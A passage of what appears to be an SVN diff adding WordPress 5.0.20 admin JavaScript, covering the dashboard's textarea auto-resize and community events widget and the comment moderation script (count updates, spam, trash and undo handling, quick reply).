+	$( '.meta-box-sortables' ).sortable( 'option', 'containment', '#wpwrap' );
+
+	function autoResizeTextarea() {
+		if ( document.documentMode && document.documentMode < 9 ) {
+			return;
+		}
+
+		// Add a hidden div. We'll copy over the text from the textarea to measure its height.
+		$('body').append( '<div class="quick-draft-textarea-clone" style="display: none;"></div>' );
+
+		var clone = $('.quick-draft-textarea-clone'),
+			editor = $('#content'),
+			editorHeight = editor.height(),
+			// 100px roughly accounts for browser chrome and allows the
+			// save draft button to show on-screen at the same time.
+			editorMaxHeight = $(window).height() - 100;
+
+		// Match up textarea and clone div as much as possible.
+		// Padding cannot be reliably retrieved using shorthand in all browsers.
+		clone.css({
+			'font-family': editor.css('font-family'),
+			'font-size':   editor.css('font-size'),
+			'line-height': editor.css('line-height'),
+			'padding-bottom': editor.css('paddingBottom'),
+			'padding-left': editor.css('paddingLeft'),
+			'padding-right': editor.css('paddingRight'),
+			'padding-top': editor.css('paddingTop'),
+			'white-space': 'pre-wrap',
+			'word-wrap': 'break-word',
+			'display': 'none'
+		});
+
+		// propertychange is for IE < 9
+		editor.on('focus input propertychange', function() {
+			var $this = $(this),
+				// &nbsp; is to ensure that the height of a final trailing newline is included.
+				textareaContent = $this.val() + '&nbsp;',
+				// 2px is for border-top & border-bottom
+				cloneHeight = clone.css('width', $this.css('width')).text(textareaContent).outerHeight() + 2;
+
+			// Default to having scrollbars
+			editor.css('overflow-y', 'auto');
+
+			// Only change the height if it has indeed changed and both heights are below the max.
+			if ( cloneHeight === editorHeight || ( cloneHeight >= editorMaxHeight && editorHeight >= editorMaxHeight ) ) {
+				return;
+			}
+
+			// Don't allow editor to exceed height of window.
+			// This is also bound in CSS to a max-height of 1300px to be extra safe.
+			if ( cloneHeight > editorMaxHeight ) {
+				editorHeight = editorMaxHeight;
+			} else {
+				editorHeight = cloneHeight;
+			}
+
+			// No scrollbars as we change height, not for IE < 9
+			editor.css('overflow', 'hidden');
+
+			$this.css('height', editorHeight + 'px');
+		});
+	}
+
+} );
+
+jQuery( function( $ ) {
+	'use strict';
+
+	var communityEventsData = window.communityEventsData || {},
+		app;
+
+	app = window.wp.communityEvents = {
+		initialized: false,
+		model: null,
+
+		/**
+		 * Initializes the wp.communityEvents object.
+		 *
+		 * @since 4.8.0
+		 */
+		init: function() {
+			if ( app.initialized ) {
+				return;
+			}
+
+			var $container = $( '#community-events' );
+
+			/*
+			 * When JavaScript is disabled, the errors container is shown, so
+			 * that "This widget requires JavaScript" message can be seen.
+			 *
+			 * When JS is enabled, the container is hidden at first, and then
+			 * revealed during the template rendering, if there actually are
+			 * errors to show.
+			 *
+			 * The display indicator switches from `hide-if-js` to `aria-hidden`
+			 * here in order to maintain consistency with all the other fields
+			 * that key off of `aria-hidden` to determine their visibility.
+			 * `aria-hidden` can't be used initially, because there would be no
+			 * way to set it to false when JavaScript is disabled, which would
+			 * prevent people from seeing the "This widget requires JavaScript"
+			 * message.
+			 */
+			$( '.community-events-errors' )
+				.attr( 'aria-hidden', 'true' )
+				.removeClass( 'hide-if-js' );
+
+			$container.on( 'click', '.community-events-toggle-location, .community-events-cancel', app.toggleLocationForm );
+
+			$container.on( 'submit', '.community-events-form', function( event ) {
+				var location = $.trim( $( '#community-events-location' ).val() );
+
+				event.preventDefault();
+
+				/*
+				 * Don't trigger a search if the search field is empty or the
+				 * search term was made of only spaces before being trimmed.
+				 */
+				if ( ! location ) {
+					return;
+				}
+
+				app.getEvents({
+					location: location
+				});
+			});
+
+			if ( communityEventsData && communityEventsData.cache && communityEventsData.cache.location && communityEventsData.cache.events ) {
+				app.renderEventsTemplate( communityEventsData.cache, 'app' );
+			} else {
+				app.getEvents();
+			}
+
+			app.initialized = true;
+		},
+
+		/**
+		 * Toggles the visibility of the Edit Location form.
+		 *
+		 * @since 4.8.0
+		 *
+		 * @param {event|string} action 'show' or 'hide' to specify a state;
+		 *                              or an event object to flip between states.
+		 */
+		toggleLocationForm: function( action ) {
+			var $toggleButton = $( '.community-events-toggle-location' ),
+				$cancelButton = $( '.community-events-cancel' ),
+				$form         = $( '.community-events-form' ),
+				$target       = $();
+
+			if ( 'object' === typeof action ) {
+				// The action is the event object: get the clicked element.
+				$target = $( action.target );
+				/*
+				 * Strict comparison doesn't work in this case because sometimes
+				 * we explicitly pass a string as value of aria-expanded and
+				 * sometimes a boolean as the result of an evaluation.
+				 */
+				action = 'true' == $toggleButton.attr( 'aria-expanded' ) ? 'hide' : 'show';
+			}
+
+			if ( 'hide' === action ) {
+				$toggleButton.attr( 'aria-expanded', 'false' );
+				$cancelButton.attr( 'aria-expanded', 'false' );
+				$form.attr( 'aria-hidden', 'true' );
+				/*
+				 * If the Cancel button has been clicked, bring the focus back
+				 * to the toggle button so users relying on screen readers don't
+				 * lose their place.
+				 */
+				if ( $target.hasClass( 'community-events-cancel' ) ) {
+					$toggleButton.focus();
+				}
+			} else {
+				$toggleButton.attr( 'aria-expanded', 'true' );
+				$cancelButton.attr( 'aria-expanded', 'true' );
+				$form.attr( 'aria-hidden', 'false' );
+			}
+		},
+
+		/**
+		 * Sends REST API requests to fetch events for the widget.
+		 *
+		 * @since 4.8.0
+		 *
+		 * @param {object} requestParams
+		 */
+		getEvents: function( requestParams ) {
+			var initiatedBy,
+				app = this,
+				$spinner = $( '.community-events-form' ).children( '.spinner' );
+
+			requestParams          = requestParams || {};
+			requestParams._wpnonce = communityEventsData.nonce;
+			requestParams.timezone = window.Intl ? window.Intl.DateTimeFormat().resolvedOptions().timeZone : '';
+
+			initiatedBy = requestParams.location ? 'user' : 'app';
+
+			$spinner.addClass( 'is-active' );
+
+			wp.ajax.post( 'get-community-events', requestParams )
+				.always( function() {
+					$spinner.removeClass( 'is-active' );
+				})
+
+				.done( function( response ) {
+					if ( 'no_location_available' === response.error ) {
+						if ( requestParams.location ) {
+							response.unknownCity = requestParams.location;
+						} else {
+							/*
+							 * No location was passed, which means that this was an automatic query
+							 * based on IP, locale, and timezone. Since the user didn't initiate it,
+							 * it should fail silently. Otherwise, the error could confuse and/or
+							 * annoy them.
+							 */
+							delete response.error;
+						}
+					}
+					app.renderEventsTemplate( response, initiatedBy );
+				})
+
+				.fail( function() {
+					app.renderEventsTemplate({
+						'location' : false,
+						'error'    : true
+					}, initiatedBy );
+				});
+		},
+
+		/**
+		 * Renders the template for the Events section of the Events & News widget.
+		 *
+		 * @since 4.8.0
+		 *
+		 * @param {Object} templateParams The various parameters that will get passed to wp.template.
+		 * @param {string} initiatedBy    'user' to indicate that this was triggered manually by the user;
+		 *                                'app' to indicate it was triggered automatically by the app itself.
+		 */
+		renderEventsTemplate: function( templateParams, initiatedBy ) {
+			var template,
+				elementVisibility,
+				l10nPlaceholder  = /%(?:\d\$)?s/g, // Match `%s`, `%1$s`, `%2$s`, etc.
+				$toggleButton    = $( '.community-events-toggle-location' ),
+				$locationMessage = $( '#community-events-location-message' ),
+				$results         = $( '.community-events-results' );
+
+			/*
+			 * Hide all toggleable elements by default, to keep the logic simple.
+			 * Otherwise, each block below would have to turn hide everything that
+			 * could have been shown at an earlier point.
+			 *
+			 * The exception to that is that the .community-events container is hidden
+			 * when the page is first loaded, because the content isn't ready yet,
+			 * but once we've reached this point, it should always be shown.
+			 */
+			elementVisibility = {
+				'.community-events'                  : true,
+				'.community-events-loading'          : false,
+				'.community-events-errors'           : false,
+				'.community-events-error-occurred'   : false,
+				'.community-events-could-not-locate' : false,
+				'#community-events-location-message' : false,
+				'.community-events-toggle-location'  : false,
+				'.community-events-results'          : false
+			};
+
+			/*
+			 * Determine which templates should be rendered and which elements
+			 * should be displayed.
+			 */
+			if ( templateParams.location.ip ) {
+				/*
+				 * If the API determined the location by geolocating an IP, it will
+				 * provide events, but not a specific location.
+				 */
+				$locationMessage.text( communityEventsData.l10n.attend_event_near_generic );
+
+				if ( templateParams.events.length ) {
+					template = wp.template( 'community-events-event-list' );
+					$results.html( template( templateParams ) );
+				} else {
+					template = wp.template( 'community-events-no-upcoming-events' );
+					$results.html( template( templateParams ) );
+				}
+
+				elementVisibility['#community-events-location-message'] = true;
+				elementVisibility['.community-events-toggle-location']  = true;
+				elementVisibility['.community-events-results']          = true;
+
+			} else if ( templateParams.location.description ) {
+				template = wp.template( 'community-events-attend-event-near' );
+				$locationMessage.html( template( templateParams ) );
+
+				if ( templateParams.events.length ) {
+					template = wp.template( 'community-events-event-list' );
+					$results.html( template( templateParams ) );
+				} else {
+					template = wp.template( 'community-events-no-upcoming-events' );
+					$results.html( template( templateParams ) );
+				}
+
+				if ( 'user' === initiatedBy ) {
+					wp.a11y.speak( communityEventsData.l10n.city_updated.replace( l10nPlaceholder, templateParams.location.description ), 'assertive' );
+				}
+
+				elementVisibility['#community-events-location-message'] = true;
+				elementVisibility['.community-events-toggle-location']  = true;
+				elementVisibility['.community-events-results']          = true;
+
+			} else if ( templateParams.unknownCity ) {
+				template = wp.template( 'community-events-could-not-locate' );
+				$( '.community-events-could-not-locate' ).html( template( templateParams ) );
+				wp.a11y.speak( communityEventsData.l10n.could_not_locate_city.replace( l10nPlaceholder, templateParams.unknownCity ) );
+
+				elementVisibility['.community-events-errors']           = true;
+				elementVisibility['.community-events-could-not-locate'] = true;
+
+			} else if ( templateParams.error && 'user' === initiatedBy ) {
+				/*
+				 * Errors messages are only shown for requests that were initiated
+				 * by the user, not for ones that were initiated by the app itself.
+				 * Showing error messages for an event that user isn't aware of
+				 * could be confusing or unnecessarily distracting.
+				 */
+				wp.a11y.speak( communityEventsData.l10n.error_occurred_please_try_again );
+
+				elementVisibility['.community-events-errors']         = true;
+				elementVisibility['.community-events-error-occurred'] = true;
+			} else {
+				$locationMessage.text( communityEventsData.l10n.enter_closest_city );
+
+				elementVisibility['#community-events-location-message'] = true;
+				elementVisibility['.community-events-toggle-location']  = true;
+			}
+
+			// Set the visibility of toggleable elements.
+			_.each( elementVisibility, function( isVisible, element ) {
+				$( element ).attr( 'aria-hidden', ! isVisible );
+			});
+
+			$toggleButton.attr( 'aria-expanded', elementVisibility['.community-events-toggle-location'] );
+
+			if ( templateParams.location && ( templateParams.location.ip || templateParams.location.latitude ) ) {
+				// Hide the form when there's a valid location.
+				app.toggleLocationForm( 'hide' );
+
+				if ( 'user' === initiatedBy ) {
+					/*
+					 * When the form is programmatically hidden after a user search,
+					 * bring the focus back to the toggle button so users relying
+					 * on screen readers don't lose their place.
+					 */
+					$toggleButton.focus();
+				}
+			} else {
+				app.toggleLocationForm( 'show' );
+			}
+		}
+	};
+
+	if ( $( '#dashboard_primary' ).is( ':visible' ) ) {
+		app.init();
+	} else {
+		$( document ).on( 'postbox-toggled', function( event, postbox ) {
+			var $postbox = $( postbox );
+
+			if ( 'dashboard_primary' === $postbox.attr( 'id' ) && $postbox.is( ':visible' ) ) {
+				app.init();
+			}
+		});
+	}
+});
Index: /tags/5.0.20/src/wp-admin/js/edit-comments.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/edit-comments.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/edit-comments.js	(revision 56912)
@@ -0,0 +1,976 @@
+/* global adminCommentsL10n, thousandsSeparator, list_args, QTags, ajaxurl, wpAjax */
+var setCommentsList, theList, theExtraList, commentReply;
+
+(function($) {
+var getCount, updateCount, updateCountText, updatePending, updateApproved,
+	updateHtmlTitle, updateDashboardText, adminTitle = document.title,
+	isDashboard = $('#dashboard_right_now').length,
+	titleDiv, titleRegEx;
+
+	getCount = function(el) {
+		var n = parseInt( el.html().replace(/[^0-9]+/g, ''), 10 );
+		if ( isNaN(n) ) {
+			return 0;
+		}
+		return n;
+	};
+
+	updateCount = function(el, n) {
+		var n1 = '';
+		if ( isNaN(n) ) {
+			return;
+		}
+		n = n < 1 ? '0' : n.toString();
+		if ( n.length > 3 ) {
+			while ( n.length > 3 ) {
+				n1 = thousandsSeparator + n.substr(n.length - 3) + n1;
+				n = n.substr(0, n.length - 3);
+			}
+			n = n + n1;
+		}
+		el.html(n);
+	};
+
+	updateApproved = function( diff, commentPostId ) {
+		var postSelector = '.post-com-count-' + commentPostId,
+			noClass = 'comment-count-no-comments',
+			approvedClass = 'comment-count-approved',
+			approved,
+			noComments;
+
+		updateCountText( 'span.approved-count', diff );
+
+		if ( ! commentPostId ) {
+			return;
+		}
+
+		// cache selectors to not get dupes
+		approved = $( 'span.' + approvedClass, postSelector );
+		noComments = $( 'span.' + noClass, postSelector );
+
+		approved.each(function() {
+			var a = $(this), n = getCount(a) + diff;
+			if ( n < 1 )
+				n = 0;
+
+			if ( 0 === n ) {
+				a.removeClass( approvedClass ).addClass( noClass );
+			} else {
+				a.addClass( approvedClass ).removeClass( noClass );
+			}
+			updateCount( a, n );
+		});
+
+		noComments.each(function() {
+			var a = $(this);
+			if ( diff > 0 ) {
+				a.removeClass( noClass ).addClass( approvedClass );
+			} else {
+				a.addClass( noClass ).removeClass( approvedClass );
+			}
+			updateCount( a, diff );
+		});
+	};
+
+	updateCountText = function( selector, diff ) {
+		$( selector ).each(function() {
+			var a = $(this), n = getCount(a) + diff;
+			if ( n < 1 ) {
+				n = 0;
+			}
+			updateCount( a, n );
+		});
+	};
+
+	updateDashboardText = function ( response ) {
+		if ( ! isDashboard || ! response || ! response.i18n_comments_text ) {
+			return;
+		}
+
+		var rightNow = $( '#dashboard_right_now' );
+
+		$( '.comment-count a', rightNow ).text( response.i18n_comments_text );
+		$( '.comment-mod-count a', rightNow ).text( response.i18n_moderation_text )
+			.parent()
+			[ response.in_moderation > 0 ? 'removeClass' : 'addClass' ]( 'hidden' );
+	};
+
+	updateHtmlTitle = function ( diff ) {
+		var newTitle, regExMatch, titleCount, commentFrag;
+
+		titleRegEx = titleRegEx || new RegExp( adminCommentsL10n.docTitleCommentsCount.replace( '%s', '\\([0-9' + thousandsSeparator + ']+\\)' ) + '?' );
+		// count funcs operate on a $'d element
+		titleDiv = titleDiv || $( '<div />' );
+		newTitle = adminTitle;
+
+		commentFrag = titleRegEx.exec( document.title );
+		if ( commentFrag ) {
+			commentFrag = commentFrag[0];
+			titleDiv.html( commentFrag );
+			titleCount = getCount( titleDiv ) + diff;
+		} else {
+			titleDiv.html( 0 );
+			titleCount = diff;
+		}
+
+		if ( titleCount >= 1 ) {
+			updateCount( titleDiv, titleCount );
+			regExMatch = titleRegEx.exec( document.title );
+			if ( regExMatch ) {
+				newTitle = document.title.replace( regExMatch[0], adminCommentsL10n.docTitleCommentsCount.replace( '%s', titleDiv.text() ) + ' ' );
+			}
+		} else {
+			regExMatch = titleRegEx.exec( newTitle );
+			if ( regExMatch ) {
+				newTitle = newTitle.replace( regExMatch[0], adminCommentsL10n.docTitleComments );
+			}
+		}
+		document.title = newTitle;
+	};
+
+	updatePending = function( diff, commentPostId ) {
+		var postSelector = '.post-com-count-' + commentPostId,
+			noClass = 'comment-count-no-pending',
+			noParentClass = 'post-com-count-no-pending',
+			pendingClass = 'comment-count-pending',
+			pending,
+			noPending;
+
+		if ( ! isDashboard ) {
+			updateHtmlTitle( diff );
+		}
+
+		$( 'span.pending-count' ).each(function() {
+			var a = $(this), n = getCount(a) + diff;
+			if ( n < 1 )
+				n = 0;
+			a.closest('.awaiting-mod')[ 0 === n ? 'addClass' : 'removeClass' ]('count-0');
+			updateCount( a, n );
+		});
+
+		if ( ! commentPostId ) {
+			return;
+		}
+
+		// cache selectors to not get dupes
+		pending = $( 'span.' + pendingClass, postSelector );
+		noPending = $( 'span.' + noClass, postSelector );
+
+		pending.each(function() {
+			var a = $(this), n = getCount(a) + diff;
+			if ( n < 1 )
+				n = 0;
+
+			if ( 0 === n ) {
+				a.parent().addClass( noParentClass );
+				a.removeClass( pendingClass ).addClass( noClass );
+			} else {
+				a.parent().removeClass( noParentClass );
+				a.addClass( pendingClass ).removeClass( noClass );
+			}
+			updateCount( a, n );
+		});
+
+		noPending.each(function() {
+			var a = $(this);
+			if ( diff > 0 ) {
+				a.parent().removeClass( noParentClass );
+				a.removeClass( noClass ).addClass( pendingClass );
+			} else {
+				a.parent().addClass( noParentClass );
+				a.addClass( noClass ).removeClass( pendingClass );
+			}
+			updateCount( a, diff );
+		});
+	};
+
+setCommentsList = function() {
+	var totalInput, perPageInput, pageInput, dimAfter, delBefore, updateTotalCount, delAfter, refillTheExtraList, diff,
+		lastConfidentTime = 0;
+
+	totalInput = $('input[name="_total"]', '#comments-form');
+	perPageInput = $('input[name="_per_page"]', '#comments-form');
+	pageInput = $('input[name="_page"]', '#comments-form');
+
+	// Updates the current total (stored in the _total input)
+	updateTotalCount = function( total, time, setConfidentTime ) {
+		if ( time < lastConfidentTime )
+			return;
+
+		if ( setConfidentTime )
+			lastConfidentTime = time;
+
+		totalInput.val( total.toString() );
+	};
+
+	// this fires when viewing "All"
+	dimAfter = function( r, settings ) {
+		var editRow, replyID, replyButton, response,
+			c = $( '#' + settings.element );
+
+		if ( true !== settings.parsed ) {
+			response = settings.parsed.responses[0];
+		}
+
+		editRow = $('#replyrow');
+		replyID = $('#comment_ID', editRow).val();
+		replyButton = $('#replybtn', editRow);
+
+		if ( c.is('.unapproved') ) {
+			if ( settings.data.id == replyID )
+				replyButton.text(adminCommentsL10n.replyApprove);
+
+			c.find( '.row-actions span.view' ).addClass( 'hidden' ).end()
+				.find( 'div.comment_status' ).html( '0' );
+
+		} else {
+			if ( settings.data.id == replyID )
+				replyButton.text(adminCommentsL10n.reply);
+
+			c.find( '.row-actions span.view' ).removeClass( 'hidden' ).end()
+				.find( 'div.comment_status' ).html( '1' );
+		}
+
+		diff = $('#' + settings.element).is('.' + settings.dimClass) ? 1 : -1;
+		if ( response ) {
+			updateDashboardText( response.supplemental );
+			updatePending( diff, response.supplemental.postId );
+			updateApproved( -1 * diff, response.supplemental.postId );
+		} else {
+			updatePending( diff );
+			updateApproved( -1 * diff  );
+		}
+	};
+
+	// Send current total, page, per_page and url
+	delBefore = function( settings, list ) {
+		var note, id, el, n, h, a, author,
+			action = false,
+			wpListsData = $( settings.target ).attr( 'data-wp-lists' );
+
+		settings.data._total = totalInput.val() || 0;
+		settings.data._per_page = perPageInput.val() || 0;
+		settings.data._page = pageInput.val() || 0;
+		settings.data._url = document.location.href;
+		settings.data.comment_status = $('input[name="comment_status"]', '#comments-form').val();
+
+		if ( wpListsData.indexOf(':trash=1') != -1 )
+			action = 'trash';
+		else if ( wpListsData.indexOf(':spam=1') != -1 )
+			action = 'spam';
+
+		if ( action ) {
+			id = wpListsData.replace(/.*?comment-([0-9]+).*/, '$1');
+			el = $('#comment-' + id);
+			note = $('#' + action + '-undo-holder').html();
+
+			el.find('.check-column :checkbox').prop('checked', false); // Uncheck the row so as not to be affected by Bulk Edits.
+
+			if ( el.siblings('#replyrow').length && commentReply.cid == id )
+				commentReply.close();
+
+			if ( el.is('tr') ) {
+				n = el.children(':visible').length;
+				author = $('.author strong', el).text();
+				h = $('<tr id="undo-' + id + '" class="undo un' + action + '" style="display:none;"><td colspan="' + n + '">' + note + '</td></tr>');
+			} else {
+				author = $('.comment-author', el).text();
+				h = $('<div id="undo-' + id + '" style="display:none;" class="undo un' + action + '">' + note + '</div>');
+			}
+
+			el.before(h);
+
+			$('strong', '#undo-' + id).text(author);
+			a = $('.undo a', '#undo-' + id);
+			a.attr('href', 'comment.php?action=un' + action + 'comment&c=' + id + '&_wpnonce=' + settings.data._ajax_nonce);
+			a.attr('data-wp-lists', 'delete:the-comment-list:comment-' + id + '::un' + action + '=1');
+			a.attr('class', 'vim-z vim-destructive');
+			$('.avatar', el).first().clone().prependTo('#undo-' + id + ' .' + action + '-undo-inside');
+
+			a.click(function( e ){
+				e.preventDefault();
+				e.stopPropagation(); // ticket #35904
+				list.wpList.del(this);
+				$('#undo-' + id).css( {backgroundColor:'#ceb'} ).fadeOut(350, function(){
+					$(this).remove();
+					$('#comment-' + id).css('backgroundColor', '').fadeIn(300, function(){ $(this).show(); });
+				});
+			});
+		}
+
+		return settings;
+	};
+
+	// In admin-ajax.php, we send back the unix time stamp instead of 1 on success
+	delAfter = function( r, settings ) {
+		var total_items_i18n, total, animated, animatedCallback,
+			response = true === settings.parsed ? {} : settings.parsed.responses[0],
+			commentStatus = true === settings.parsed ? '' : response.supplemental.status,
+			commentPostId = true === settings.parsed ? '' : response.supplemental.postId,
+			newTotal = true === settings.parsed ? '' : response.supplemental,
+
+			targetParent = $( settings.target ).parent(),
+			commentRow = $('#' + settings.element),
+
+			spamDiff, trashDiff, pendingDiff, approvedDiff,
+
+			approved = commentRow.hasClass( 'approved' ),
+			unapproved = commentRow.hasClass( 'unapproved' ),
+			spammed = commentRow.hasClass( 'spam' ),
+			trashed = commentRow.hasClass( 'trash' ),
+			undoing = false; // ticket #35904
+
+		updateDashboardText( newTotal );
+
+		// the order of these checks is important
+		// .unspam can also have .approve or .unapprove
+		// .untrash can also have .approve or .unapprove
+
+		if ( targetParent.is( 'span.undo' ) ) {
+			// the comment was spammed
+			if ( targetParent.hasClass( 'unspam' ) ) {
+				spamDiff = -1;
+
+				if ( 'trash' === commentStatus ) {
+					trashDiff = 1;
+				} else if ( '1' === commentStatus ) {
+					approvedDiff = 1;
+				} else if ( '0' === commentStatus ) {
+					pendingDiff = 1;
+				}
+
+			// the comment was trashed
+			} else if ( targetParent.hasClass( 'untrash' ) ) {
+				trashDiff = -1;
+
+				if ( 'spam' === commentStatus ) {
+					spamDiff = 1;
+				} else if ( '1' === commentStatus ) {
+					approvedDiff = 1;
+				} else if ( '0' === commentStatus ) {
+					pendingDiff = 1;
+				}
+			}
+
+			undoing = true;
+
+		// user clicked "Spam"
+		} else if ( targetParent.is( 'span.spam' ) ) {
+			// the comment is currently approved
+			if ( approved ) {
+				approvedDiff = -1;
+			// the comment is currently pending
+			} else if ( unapproved ) {
+				pendingDiff = -1;
+			// the comment was in the trash
+			} else if ( trashed ) {
+				trashDiff = -1;
+			}
+			// you can't spam an item on the spam screen
+			spamDiff = 1;
+
+		// user clicked "Unspam"
+		} else if ( targetParent.is( 'span.unspam' ) ) {
+			if ( approved ) {
+				pendingDiff = 1;
+			} else if ( unapproved ) {
+				approvedDiff = 1;
+			} else if ( trashed ) {
+				// the comment was previously approved
+				if ( targetParent.hasClass( 'approve' ) ) {
+					approvedDiff = 1;
+				// the comment was previously pending
+				} else if ( targetParent.hasClass( 'unapprove' ) ) {
+					pendingDiff = 1;
+				}
+			} else if ( spammed ) {
+				if ( targetParent.hasClass( 'approve' ) ) {
+					approvedDiff = 1;
+
+				} else if ( targetParent.hasClass( 'unapprove' ) ) {
+					pendingDiff = 1;
+				}
+			}
+			// you can Unspam an item on the spam screen
+			spamDiff = -1;
+
+		// user clicked "Trash"
+		} else if ( targetParent.is( 'span.trash' ) ) {
+			if ( approved ) {
+				approvedDiff = -1;
+			} else if ( unapproved ) {
+				pendingDiff = -1;
+			// the comment was in the spam queue
+			} else if ( spammed ) {
+				spamDiff = -1;
+			}
+			// you can't trash an item on the trash screen
+			trashDiff = 1;
+
+		// user clicked "Restore"
+		} else if ( targetParent.is( 'span.untrash' ) ) {
+			if ( approved ) {
+				pendingDiff = 1;
+			} else if ( unapproved ) {
+				approvedDiff = 1;
+			} else if ( trashed ) {
+				if ( targetParent.hasClass( 'approve' ) ) {
+					approvedDiff = 1;
+				} else if ( targetParent.hasClass( 'unapprove' ) ) {
+					pendingDiff = 1;
+				}
+			}
+			// you can't go from trash to spam
+			// you can untrash on the trash screen
+			trashDiff = -1;
+
+		// User clicked "Approve"
+		} else if ( targetParent.is( 'span.approve:not(.unspam):not(.untrash)' ) ) {
+			approvedDiff = 1;
+			pendingDiff = -1;
+
+		// User clicked "Unapprove"
+		} else if ( targetParent.is( 'span.unapprove:not(.unspam):not(.untrash)' ) ) {
+			approvedDiff = -1;
+			pendingDiff = 1;
+
+		// User clicked "Delete Permanently"
+		} else if ( targetParent.is( 'span.delete' ) ) {
+			if ( spammed ) {
+				spamDiff = -1;
+			} else if ( trashed ) {
+				trashDiff = -1;
+			}
+		}
+
+		if ( pendingDiff ) {
+			updatePending( pendingDiff, commentPostId );
+			updateCountText( 'span.all-count', pendingDiff );
+		}
+
+		if ( approvedDiff ) {
+			updateApproved( approvedDiff, commentPostId );
+			updateCountText( 'span.all-count', approvedDiff );
+		}
+
+		if ( spamDiff ) {
+			updateCountText( 'span.spam-count', spamDiff );
+		}
+
+		if ( trashDiff ) {
+			updateCountText( 'span.trash-count', trashDiff );
+		}
+
+		if (
+			( ( 'trash' === settings.data.comment_status ) && !getCount( $( 'span.trash-count' ) ) ) ||
+			( ( 'spam' === settings.data.comment_status ) && !getCount( $( 'span.spam-count' ) ) )
+		) {
+			$( '#delete_all' ).hide();
+		}
+
+		if ( ! isDashboard ) {
+			total = totalInput.val() ? parseInt( totalInput.val(), 10 ) : 0;
+			if ( $(settings.target).parent().is('span.undo') )
+				total++;
+			else
+				total--;
+
+			if ( total < 0 )
+				total = 0;
+
+			if ( 'object' === typeof r ) {
+				if ( response.supplemental.total_items_i18n && lastConfidentTime < response.supplemental.time ) {
+					total_items_i18n = response.supplemental.total_items_i18n || '';
+					if ( total_items_i18n ) {
+						$('.displaying-num').text( total_items_i18n );
+						$('.total-pages').text( response.supplemental.total_pages_i18n );
+						$('.tablenav-pages').find('.next-page, .last-page').toggleClass('disabled', response.supplemental.total_pages == $('.current-page').val());
+					}
+					updateTotalCount( total, response.supplemental.time, true );
+				} else if ( response.supplemental.time ) {
+					updateTotalCount( total, response.supplemental.time, false );
+				}
+			} else {
+				updateTotalCount( total, r, false );
+			}
+		}
+
+		if ( ! theExtraList || theExtraList.length === 0 || theExtraList.children().length === 0 || undoing ) {
+			return;
+		}
+
+		theList.get(0).wpList.add( theExtraList.children( ':eq(0):not(.no-items)' ).remove().clone() );
+
+		refillTheExtraList();
+
+		animated = $( ':animated', '#the-comment-list' );
+		animatedCallback = function () {
+			if ( ! $( '#the-comment-list tr:visible' ).length ) {
+				theList.get(0).wpList.add( theExtraList.find( '.no-items' ).clone() );
+			}
+		};
+
+		if ( animated.length ) {
+			animated.promise().done( animatedCallback );
+		} else {
+			animatedCallback();
+		}
+	};
+
+	refillTheExtraList = function(ev) {
+		var args = $.query.get(), total_pages = $('.total-pages').text(), per_page = $('input[name="_per_page"]', '#comments-form').val();
+
+		if (! args.paged)
+			args.paged = 1;
+
+		if (args.paged > total_pages) {
+			return;
+		}
+
+		if (ev) {
+			theExtraList.empty();
+			args.number = Math.min(8, per_page); // see WP_Comments_List_Table::prepare_items() @ class-wp-comments-list-table.php
+		} else {
+			args.number = 1;
+			args.offset = Math.min(8, per_page) - 1; // fetch only the next item on the extra list
+		}
+
+		args.no_placeholder = true;
+
+		args.paged ++;
+
+		// $.query.get() needs some correction to be sent into an ajax request
+		if ( true === args.comment_type )
+			args.comment_type = '';
+
+		args = $.extend(args, {
+			'action': 'fetch-list',
+			'list_args': list_args,
+			'_ajax_fetch_list_nonce': $('#_ajax_fetch_list_nonce').val()
+		});
+
+		$.ajax({
+			url: ajaxurl,
+			global: false,
+			dataType: 'json',
+			data: args,
+			success: function(response) {
+				theExtraList.get(0).wpList.add( response.rows );
+			}
+		});
+	};
+
+	theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } );
+	theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } )
+		.bind('wpListDelEnd', function(e, s){
+			var wpListsData = $(s.target).attr('data-wp-lists'), id = s.element.replace(/[^0-9]+/g, '');
+
+			if ( wpListsData.indexOf(':trash=1') != -1 || wpListsData.indexOf(':spam=1') != -1 )
+				$('#undo-' + id).fadeIn(300, function(){ $(this).show(); });
+		});
+};
+
+commentReply = {
+	cid : '',
+	act : '',
+	originalContent : '',
+
+	init : function() {
+		var row = $('#replyrow');
+
+		$('a.cancel', row).click(function() { return commentReply.revert(); });
+		$('a.save', row).click(function() { return commentReply.send(); });
+		$( 'input#author-name, input#author-email, input#author-url', row ).keypress( function( e ) {
+			if ( e.which == 13 ) {
+				commentReply.send();
+				e.preventDefault();
+				return false;
+			}
+		});
+
+		// add events
+		$('#the-comment-list .column-comment > p').dblclick(function(){
+			commentReply.toggle($(this).parent());
+		});
+
+		$('#doaction, #doaction2, #post-query-submit').click(function(){
+			if ( $('#the-comment-list #replyrow').length > 0 )
+				commentReply.close();
+		});
+
+		this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || '';
+
+		/* $(listTable).bind('beforeChangePage', function(){
+			commentReply.close();
+		}); */
+	},
+
+	addEvents : function(r) {
+		r.each(function() {
+			$(this).find('.column-comment > p').dblclick(function(){
+				commentReply.toggle($(this).parent());
+			});
+		});
+	},
+
+	toggle : function(el) {
+		if ( 'none' !== $( el ).css( 'display' ) && ( $( '#replyrow' ).parent().is('#com-reply') || window.confirm( adminCommentsL10n.warnQuickEdit ) ) ) {
+			$( el ).find( 'a.vim-q' ).click();
+		}
+	},
+
+	revert : function() {
+
+		if ( $('#the-comment-list #replyrow').length < 1 )
+			return false;
+
+		$('#replyrow').fadeOut('fast', function(){
+			commentReply.close();
+		});
+
+		return false;
+	},
+
+	close : function() {
+		var c, replyrow = $('#replyrow');
+
+		// replyrow is not showing?
+		if ( replyrow.parent().is('#com-reply') )
+			return;
+
+		if ( this.cid && this.act == 'edit-comment' ) {
+			c = $('#comment-' + this.cid);
+			c.fadeIn(300, function(){ c.show(); }).css('backgroundColor', '');
+		}
+
+		// reset the Quicktags buttons
+		if ( typeof QTags != 'undefined' )
+			QTags.closeAllTags('replycontent');
+
+		$('#add-new-comment').css('display', '');
+
+		replyrow.hide();
+		$('#com-reply').append( replyrow );
+		$('#replycontent').css('height', '').val('');
+		$('#edithead input').val('');
+		$( '.notice-error', replyrow )
+			.addClass( 'hidden' )
